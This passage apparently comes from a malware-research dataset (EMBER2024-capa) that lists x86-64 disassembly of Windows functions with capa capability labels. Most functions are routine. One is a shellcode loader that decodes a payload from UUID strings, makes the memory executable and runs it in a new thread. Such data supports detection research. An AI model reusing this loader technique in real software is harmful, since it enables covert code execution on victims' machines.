joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400128e8
Capabilities:
Terminate process

Disassembly:
jmp 0x140032220
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140012a5a
Capabilities:
Get geographical location

Disassembly:
jmp 0x14002c0a0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14002c0dd
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140012ffa
add rsp, 0x58
ret
Function at 0x140012b18
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400315f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140031610
xor al, al
jmp 0x140031691
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140031623
xor al, al
jmp 0x140031691
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14003164d
xor al, al
jmp 0x140031691
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140031661
xor al, al
jmp 0x140031691
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140031673
xor al, al
jmp 0x140031691
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14003168f
xor al, al
jmp 0x140031691
mov al, 1
add rsp, 0x38
ret
Function at 0x140012e88
Capabilities:
Get common file path

Disassembly:
jmp 0x14002d9c0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14002da08
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x20], eax
ja 0x14002da08
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x24]
jmp 0x14002da1f
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x2c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2c]
add rsp, 0x48
ret

Function at 0x140013112
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140021f50
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x460
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x488]
mov rax, qword [0x140045040]
xor rax, rbp
mov qword [rbp + 0x438], rax
lea rcx, [0x14004d107]
call fcn.140013018
cmp qword [rbp + 0x470], 0
jne 0x140021fcb
mov byte [rbp + 0x404], 0
mov rcx, qword [rbp + 0x468]
call fcn.1400122ee
movzx eax, byte [rbp + 0x404]
jmp 0x1400220a5
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rbp + 0x10], 0x238
mov edx, dword [rbp + 0x460]
mov ecx, 8
call fcn.140012794
mov qword [rbp + 0x268], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.140012122
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400124a6
test eax, eax
je 0x14002205a
mov eax, dword [rbp + 0x460]
cmp dword [rbp + 0x18], eax
je 0x14002202a
jmp 0x140022009
mov rdx, qword [rbp + 0x468]
lea rcx, [rbp + 0x40]
call fcn.1400125b4
movzx eax, al
test eax, eax
je 0x140022058
lea rax, [rbp + 0x10]
mov rdi, qword [rbp + 0x470]
mov rsi, rax
mov ecx, 0x238
rep movsb byte [rdi], byte [rsi]
jmp 0x14002205a
jmp 0x140022009
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x470]
cmp qword [rax + 0x18], 0
je 0x14002207e
mov byte [rbp + 0x434], 1
jmp 0x140022085
mov byte [rbp + 0x434], 0
movzx eax, byte [rbp + 0x434]
mov byte [rbp + 0x424], al
mov rcx, qword [rbp + 0x468]
call fcn.1400122ee
movzx eax, byte [rbp + 0x424]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14003ae60]
call fcn.140012d57
mov rax, rdi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.1400127b7
lea rsp, [rbp + 0x440]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001cd0
Capabilities:
Check if process is running under wine

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x230
lea rdx, str.SoftwareWineWineBrowser
mov r12, rcx
lea r8, [rsp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyW]
lea r13, [rsp + 0x30]
test eax, eax
je 0x140001db0
mov eax, dword [0x1400054e0]
movdqa xmm0, xmmword [str._usr_bin_open]
movdqa xmm1, xmmword [0x140005470]
movdqa xmm2, xmmword [0x140005480]
mov dword [rsp + 0xb0], eax
movzx eax, word [0x1400054e4]
movdqa xmm3, xmmword [str.mozilla_thunderbird]
movdqa xmm4, xmmword [0x1400054a0]
movaps xmmword [rsp + 0x30], xmm0
movdqa xmm5, xmmword [0x1400054b0]
movdqa xmm0, xmmword [0x1400054c0]
movaps xmmword [rsp + 0x40], xmm1
mov word [rsp + 0xb4], ax
movdqa xmm1, xmmword [str.evolution]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x70], xmm4
movaps xmmword [rsp + 0x80], xmm5
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0xa0], xmm1
mov rdx, r12
mov rcx, r13
call dbg.launch_app
add rsp, 0x230
pop rbx
pop r12
pop r13
ret
mov rcx, qword [rsp + 0x28]
mov r8, r13
lea rdx, str.Mailers
call sym.get_commands.constprop.0
mov rcx, qword [rsp + 0x28]
mov ebx, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
test ebx, ebx
je 0x140001d92
jmp 0x140001d05

Function at 0x140001de0
Capabilities:
Check if process is running under wine

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x230
lea rdx, str.SoftwareWineWineBrowser
mov r12, rcx
lea r8, [rsp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyW]
lea r13, [rsp + 0x30]
test eax, eax
je 0x140001eb0
mov rax, qword [0x140005430]
movdqa xmm0, xmmword [str.xdg_open]
movdqa xmm1, xmmword [0x1400053d0]
movdqa xmm2, xmmword [0x1400053e0]
mov qword [rsp + 0xa0], rax
mov eax, dword [0x140005438]
movdqa xmm3, xmmword [0x1400053f0]
movdqa xmm4, xmmword [0x140005400]
movaps xmmword [rsp + 0x30], xmm0
movdqa xmm5, xmmword [0x140005410]
movdqa xmm0, xmmword [0x140005420]
movaps xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0xa8], eax
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x70], xmm4
movaps xmmword [rsp + 0x80], xmm5
movaps xmmword [rsp + 0x90], xmm0
mov rdx, r12
mov rcx, r13
call dbg.launch_app
add rsp, 0x230
pop rbx
pop r12
pop r13
ret
mov rcx, qword [rsp + 0x28]
mov r8, r13
lea rdx, str.Browsers
call sym.get_commands.constprop.0
mov rcx, qword [rsp + 0x28]
mov ebx, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
test ebx, ebx
je 0x140001e92
jmp 0x140001e15

Function at 0x140002f60
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov r12, rcx
call qword [sym.imp.ucrtbase.dll_strlen]
mov rbx, rax
xor eax, eax
test rbx, rbx
je 0x140002fb3
cmp byte [r12 + rbx - 1], 0xa
je 0x140002f8e
mov rax, qword gs:[0x30]
mov eax, dword [rax + 0x48]
xchg dword [0x140008144], eax
mov ecx, 2
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov edx, 1
mov r9, rax
mov r8, rbx
mov rcx, r12
call qword [sym.imp.ucrtbase.dll_fwrite]
add rsp, 0x28
pop rbx
pop r12
ret
Function at 0x140003a80
Capabilities:
Terminate process

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x20
mov ecx, 1
call sym._configure_wide_argv
call sym._initialize_wide_environment
call sym.__p___argc
mov r12d, dword [rax]
call sym.__p___wargv
mov r13, qword [rax]
call sym._get_initial_wide_environment
xor ecx, ecx
mov rbx, rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x10]
mov edx, dword [rax + 0x3c]
cmp word [rax + rdx + 0x5c], 2
sete cl
add ecx, 1
call sym._set_app_type
mov ecx, r12d
mov r8, rbx
mov rdx, r13
call dbg.wmain
mov ecx, eax
call sym.exit
nop
nop
nop
nop
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r12
push r15
sub rsp, 0x40
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor r12d, r12d
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, str._i__Injecting_Shellcode_The_Local_Process_Of_Pid:__d__n
call fcn.140001010
lea rcx, str.RPCRT4
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.UuidFromStringA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
jne 0x1400010e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001187
mov qword [rsp + 0x70], r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x110
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x14000111f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140001182
mov qword [rsp + 0x60], rsi
xor ebx, ebx
mov qword [rsp + 0x68], rdi
lea rsi, str.E48348FC_E8F0_00C0_0000_415141505251
mov rdi, r14
mov rcx, qword [rsi]
mov rdx, rdi
call rbp
test eax, eax
jne 0x14000115b
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x11
jb 0x140001135
mov r12, r14
mov r15d, 0x110
jmp 0x140001178
mov r8d, eax
movsxd rdx, ebx
lea rax, str.E48348FC_E8F0_00C0_0000_415141505251
lea rcx, str.____UuidFromStringA__Failed_At___s__With_Error_0x_0.8X_n
mov rdx, qword [rax + rdx*8]
call fcn.140001010
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x70]
mov r9d, 4
mov r8d, GetProcessHeap
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r15
mov rdx, r12
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8, r15
xor edx, edx
mov rcx, r12
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov r8d, 0x40
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001250
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r12
pop rbp
ret

Function at 0x140001b24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b6e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b70
xor al, al
add rsp, 0x28
ret
Function at 0x14007ad00
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
movaps xmmword [rbp - 0x10], xmm6
mov qword [rbp - 0x18], 0xfffffffffffffffe
mov rsi, rcx
lea rax, [0x1403ba988]
mov qword [rcx], rax
lea rax, [rcx + 8]
mov qword [rbp - 0x58], rax
mov dword [rcx + 8], 0
mov word [rcx + 0xc], 0
mov qword [rcx + 0x10], 0
mov qword [rcx + 0x30], 0
mov qword [rcx + 0x38], 0xf
mov byte [rcx + 0x20], 0
lea rax, [0x1403b9448]
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x58], 0
mov qword [rcx + 0x60], 0xf
mov byte [rcx + 0x48], 0
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x80], 0
mov qword [rcx + 0x88], 0xf
mov byte [rcx + 0x70], 0
mov qword [rcx + 0x68], rax
mov byte [rcx + 0x90], 0
mov dword [rcx + 0x94], 0
lea rax, [rcx + 0xa8]
mov qword [rbp - 0x50], rax
xorps xmm6, xmm6
movups xmmword [rcx + 0xb0], xmm6
mov qword [rcx + 0xc0], 0
mov byte [rcx + 0xc8], 1
mov dword [rcx + 0xcc], 1
movups xmmword [rcx + 0xd0], xmm6
mov qword [rcx + 0xe0], 0
lea rdi, [0x1403bb2e8]
mov qword [rcx + 0xa8], rdi
mov qword [rcx + 0xa0], 0
mov byte [rcx + 0x1e0], 0
lea rbx, [rcx + 0x1e4]
mov r8d, 0x150
mov rcx, rbx
xor edx, edx
call fcn.14039e9a0
mov qword [rbp - 0x48], rbx
mov rcx, rbx
xor edx, edx
call fcn.1402853f0
mov dword [rsi + 0x334], 0
lea rax, [rsi + 0x348]
mov qword [rbp - 0x40], rax
movups xmmword [rsi + 0x348], xmm6
movups xmmword [rsi + 0x358], xmm6
mov qword [rsi + 0x368], 0
mov ecx, 0x70
call fcn.14037638c
lea rcx, [rsi + 0x360]
mov qword [rbp - 0x38], rcx
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsi + 0x360], rax
lea rax, [rsi + 0x370]
mov qword [rbp - 0x30], rax
movups xmmword [rsi + 0x370], xmm6
mov qword [rsi + 0x380], 0
lea rax, [rsi + 0x390]
mov qword [rbp - 0x28], rax
movups xmmword [rsi + 0x390], xmm6
mov qword [rsi + 0x3a0], 0
mov eax, dword [0x1404ee618]
mov ecx, dword [0x1404f21e0]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 0x26838]
jg 0x14007af5d
lea rax, [0x1404ee450]
mov qword [rsi + 0x3a8], rax
lea rax, [rsi + 0x3c8]
mov qword [rbp - 0x20], rax
movups xmmword [rsi + 0x3d0], xmm6
mov qword [rsi + 0x3e0], 0
mov byte [rsi + 0x3e8], 1
mov dword [rsi + 0x3ec], 1
movups xmmword [rsi + 0x3f0], xmm6
mov qword [rsi + 0x400], 0
mov qword [rsi + 0x3c8], rdi
mov rcx, rsi
call fcn.14007b380
mov rax, rsi
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1404ee618]
mov ecx, 1
xor edx, edx
mov r9d, 0x8352fc0b
call fcn.1400854f0
cmp dword [0x1404ee618], 0xffffffff
jne 0x14007aeed
lea rcx, [0x1404ee450]
call fcn.14007b860
mov dword [rsp + 0x20], 0xf0a670b9
lea r8, [0x14007bae0]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call fcn.140084ec0
lea r8, [0x1404ee618]
xor ecx, ecx
xor edx, edx
mov r9d, 0x8352fc0b
call fcn.1400854f0
jmp 0x14007aeed
Function at 0x140084e20
Capabilities:
Read file on windows
Write file on windows

Disassembly:
sub rsp, 0x28
mov rax, r9
mov r9, qword [rsp + 0x50]
test ecx, ecx
je 0x140084e40
mov rcx, rdx
mov rdx, r8
mov r8, rax
call fcn.14035a820
jmp 0x140084e4e
mov rcx, rdx
mov rdx, r8
mov r8, rax
call fcn.14035ab34
nop
add rsp, 0x28
ret
Function at 0x14013b580
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x118], 0xfffffffffffffffe
mov rsi, rcx
mov rax, qword [rcx]
mov r14, qword [rcx + 8]
mov r15d, dword [0x1404ee6f4]
add r15d, dword [rax + 0xc134]
mov byte [rbp - 0x58], 0
lea rdi, [rbp - 0x54]
mov r8d, 0x150
mov rcx, rdi
xor edx, edx
call fcn.14039e9a0
mov rcx, rdi
xor edx, edx
mov r8d, 0x5bdfd325
call fcn.14013b820
mov ecx, 1
mov edx, 1
mov r8d, 0xbaad0eaf
call fcn.14013b830
movaps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x100], xmm0
lea r12, [rbp - 4]
movzx r9d, byte [rbp - 0x58]
mov qword [rsp + 0x20], r12
lea rdx, [rbp + 0x100]
mov r8d, 0x10
mov rcx, rdi
call fcn.140285570
movsxd rdi, dword [0x1403bbd60]
mov ebx, dword [0x1403bbd64]
xorps xmm0, xmm0
movups xmmword [r12], xmm0
mov rax, qword [rsi]
mov r12d, dword [rax + 0xc130]
cmp r12, 8
jb 0x14013b681
shr r12, 3
add r14, r15
add r14, 4
xor r15d, r15d
nop dword [rax]
mov edx, dword [r14 + r15*8 - 4]
add rdx, qword [rsi + 8]
movsxd r8, dword [r14 + r15*8]
lea rcx, [rbp - 0x54]
mov r9, rdx
call fcn.140285cb0
inc r15
cmp r12, r15
jne 0x14013b660
lea rax, [0x1403bbd60]
add rdi, rax
mov r14d, dword [0x140497eb0]
lea r15d, [r14 + 1]
mov dword [0x140497eb0], r15d
xor esi, esi
mov r12d, 0
test r14d, r15d
jne 0x14013b6da
xor eax, eax
mov esi, 0
mov r12d, 0
test ebx, ebx
jle 0x14013b6da
xor esi, esi
xor r12d, r12d
movsxd rcx, eax
add rcx, rdi
mov rdx, qword [rcx]
mov rcx, qword [rcx + 8]
xor rsi, rdx
xor r12, rcx
add eax, 0x10
cmp eax, ebx
jl 0x14013b6c0
lea rcx, [rbp - 0x54]
call fcn.140285800
mov rax, qword [0x1403bbd58]
mov rcx, qword [0x1403bbd50]
xor edx, edx
test r14d, r15d
setne dl
movabs r8, 0x23dff269f5f7d8ba
or r8, rdx
xor edx, edx
movabs r9, 0xdc200d960a082745
add r8, r9
adc rdx, 0xffffffffffffffff
sub rcx, rsi
sbb rax, r12
xor r8, rcx
xor rdx, rax
not rdx
not r8
and r8, rcx
and rdx, rax
or rdx, r8
mov rax, rdx
shr rax, 0x20
or eax, edx
add dword [0x1404ee6f4], eax
add rsp, 0x1a0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
Function at 0x14013b830
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
test ecx, ecx
je 0x14013b86c
test edx, edx
je 0x14013b89c
movzx eax, byte [0x140497ed0]
cmp al, 0x67
je 0x14013b864
mov cl, 0x46
nop word cs:[rax + rax]
mov al, 0x6b
lock cmpxchg byte [0x140497ed0], cl
je 0x14013b8fc
cmp al, 0x67
jne 0x14013b850
lea rax, [0x140497ec0]
ret
test edx, edx
je 0x14013b8cc
movzx eax, byte [0x140497f0b]
cmp al, 0x91
je 0x14013b894
mov cl, 0x3f
nop dword [rax]
mov al, 0xbb
lock cmpxchg byte [0x140497f0b], cl
je 0x14013b931
cmp al, 0x91
jne 0x14013b880
lea rax, [0x140497f00]
ret
movzx eax, byte [0x140497ee5]
cmp al, 0xe6
je 0x14013b8c4
mov cl, 0xf6
nop dword [rax]
mov al, 0xc7
lock cmpxchg byte [0x140497ee5], cl
je 0x14013b971
cmp al, 0xe6
jne 0x14013b8b0
lea rax, [0x140497ee0]
ret
movzx eax, byte [0x140497ef2]
cmp al, 0x2b
je 0x14013b8f4
mov cl, 0x87
nop dword [rax]
mov al, 0x9b
lock cmpxchg byte [0x140497ef2], cl
je 0x14013b9b1
cmp al, 0x2b
jne 0x14013b8e0
lea rax, [0x140497ef0]
ret
xor eax, eax
lea rcx, [0x140497ec0]
lea rdx, [0x1403bbd70]
nop dword [rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0x10
jl 0x14013b910
mov al, 0x67
xchg byte [0x140497ed0], al
lea rax, [0x140497ec0]
ret
xor eax, eax
lea rcx, [0x140497f00]
lea rdx, [0x1403bbda0]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 0xb
jl 0x14013b950
mov al, 0x91
xchg byte [0x140497f0b], al
lea rax, [0x140497f00]
ret
xor eax, eax
lea rcx, [0x140497ee0]
lea rdx, [0x1403bbd80]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 5
jl 0x14013b990
mov al, 0xe6
xchg byte [0x140497ee5], al
lea rax, [0x140497ee0]
ret
xor eax, eax
lea rcx, [0x140497ef0]
lea rdx, [0x1403bbd90]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 2
jl 0x14013b9d0
mov al, 0x2b
xchg byte [0x140497ef2], al
lea rax, [0x140497ef0]
ret
Function at 0x14013d8d0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], 0xfffffffffffffffe
mov rdi, r8
mov rsi, rcx
mov rax, qword [rbp + 0x80]
mov r8d, dword [rbp + 0x90]
mov r10d, dword [rbp + 0xa0]
lea rcx, [rbp - 0x40]
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
lea r11, [0x1403b9448]
mov qword [rbp - 0x40], r11
mov qword [rbp], 0
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov qword [rbp - 0x18], r11
mov dword [rbp - 0x58], edx
mov dword [rbp - 0x54], r10d
mov dword [rbp - 0x50], r9d
mov dword [rbp - 0x4c], r8d
mov dword [rbp - 0x48], 0
mov rdx, rax
call fcn.1402492d0
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp - 0x18]
call fcn.1402492d0
mov r15, qword [rbp + 0x98]
movzx eax, byte [rbp + 0xa8]
mov byte [rbp + 0x10], al
mov rax, qword [0x1404ee890]
lea rcx, [0x1403bbdb0]
movsxd rbx, dword [0x1403bbdb0]
add rbx, rcx
mov r14d, dword [0x1403bbdbc]
test rax, rax
jne 0x14013d9c9
mov ecx, 0x700
call fcn.14037638c
mov qword [rbp + 0x18], rax
mov rcx, rax
call fcn.14007aa00
mov rax, qword [rbp + 0x18]
mov qword [0x1404ee890], rax
mov rcx, qword [0x1404ee890]
mov rax, qword [rcx]
mov rax, qword [rax + 8]
mov r10, qword [case.0x14014757d.0]
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x58]
mov rdx, rsi
mov r8, rdi
call r10
mov rax, qword [rbp + 8]
cmp rax, 0x10
jb 0x14013da3e
mov r8, qword [rbp - 0x10]
lea r9, [rax + 1]
cmp r9, 0x1000
jb 0x14013da2a
mov rcx, qword [r8 - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x20
jae 0x14013db15
add rax, 0x28
mov r9, rax
mov r8, rcx
mov dword [rsp + 0x20], 0x8b1ee9a1
xor ecx, ecx
mov edx, 1
call fcn.14013dd80
mov qword [rbp], 0
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rax, qword [rbp - 0x20]
cmp rax, 0x10
jb 0x14013db02
mov r8, qword [rbp - 0x38]
lea r9, [rax + 1]
cmp r9, 0x1000
jb 0x14013daee
mov ecx, dword [0x140497fd4]
lea edx, [rcx + 1]
mov dword [0x140497fd4], edx
test ecx, edx
je 0x14013da89
xor r9d, r9d
jmp 0x14013dabf
xor r10d, r10d
xor r9d, r9d
test r14d, r14d
jle 0x14013dabf
nop word cs:[rax + rax]
movsxd r11, r10d
mov r11, qword [rbx + r11]
mov rdi, r11
xor rdi, r11
not rdi
and r9, rdi
xor r9, r11
add r10d, 8
cmp r10d, r14d
jl 0x14013daa0
mov r10, qword [r8 - 8]
add r8, 0xfffffffffffffff8
mov r11, qword [0x1404ee6f8]
mov rdi, r11
xor rdi, r10
and r11, r10
lea r10, [rdi + r11*2]
sub r8, r10
cmp r8, 0x20
jae 0x14013db1a
add rax, 0x28
mov r9, rax
mov r8, r10
mov dword [rsp + 0x20], 0x8b1ee9a1
xor ecx, ecx
mov edx, 1
call fcn.14013dd80
mov rax, rsi
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
call fcn.140356a3c
mov rax, qword [0x1403bbdc8]
xor r8d, r8d
test ecx, edx
setne r8b
lea rcx, [r8 - 1]
sub rax, r9
mov rdx, rax
not rdx
neg r8
and r8, rdx
xor rax, rcx
or rax, r8
not rax
add qword [0x1404ee6f8], rax
call fcn.140356a3c
int3
Function at 0x140149cb0
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x20
test ecx, ecx
je 0x140149ce9
test edx, edx
je 0x140149d19
movzx eax, byte [0x140498983]
cmp al, 0x87
je 0x140149da9
mov cl, 0x1c
nop
mov al, 0x6a
lock cmpxchg byte [0x140498983], cl
je 0x140149d79
cmp al, 0x87
jne 0x140149cd0
jmp 0x140149da9
test edx, edx
je 0x140149d49
movzx eax, byte [0x14049899e]
cmp al, 0xef
je 0x140149e29
mov cl, 0xbf
nop
mov al, 0xf7
lock cmpxchg byte [0x14049899e], cl
je 0x140149db5
cmp al, 0xef
jne 0x140149d00
jmp 0x140149e29
movzx eax, byte [0x140498bbc]
cmp al, 0x53
je 0x140149e69
mov cl, 0xeb
nop word [rax + rax]
mov al, 0x6e
lock cmpxchg byte [0x140498bbc], cl
je 0x140149e35
cmp al, 0x53
jne 0x140149d30
jmp 0x140149e69
movzx eax, byte [0x14049899d]
cmp al, 0x87
je 0x140149ee9
mov cl, 0x57
nop word [rax + rax]
mov al, 0x77
lock cmpxchg byte [0x14049899d], cl
je 0x140149e72
cmp al, 0x87
jne 0x140149d60
jmp 0x140149ee9
xor eax, eax
lea rcx, [0x140498980]
lea rdx, [0x1403bc7c0]
nop dword [rax]
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 3
jl 0x140149d90
mov al, 0x87
xchg byte [0x140498983], al
lea rax, [0x140498980]
jmp 0x140149ef0
cmp qword [0x1404ee7f8], 0
jne 0x140149dff
mov ecx, 4
call fcn.14035b68c
mov rsi, rax
mov qword [0x1404ee7f8], rax
lea rcx, [0x140149c10]
call fcn.1403769c0
xor eax, eax
lea rcx, [0x1403bc920]
nop dword [rax + rax]
movzx edx, byte [rax + rcx]
mov byte [rsi + rax], dl
inc rax
cmp eax, 2
jle 0x140149df0
mov rax, qword [0x1404ee7f8]
xor ecx, ecx
lea rdx, [0x1403bc930]
nop
movzx r8d, byte [rcx + rdx]
xor byte [rax + rcx], r8b
inc rcx
cmp ecx, 3
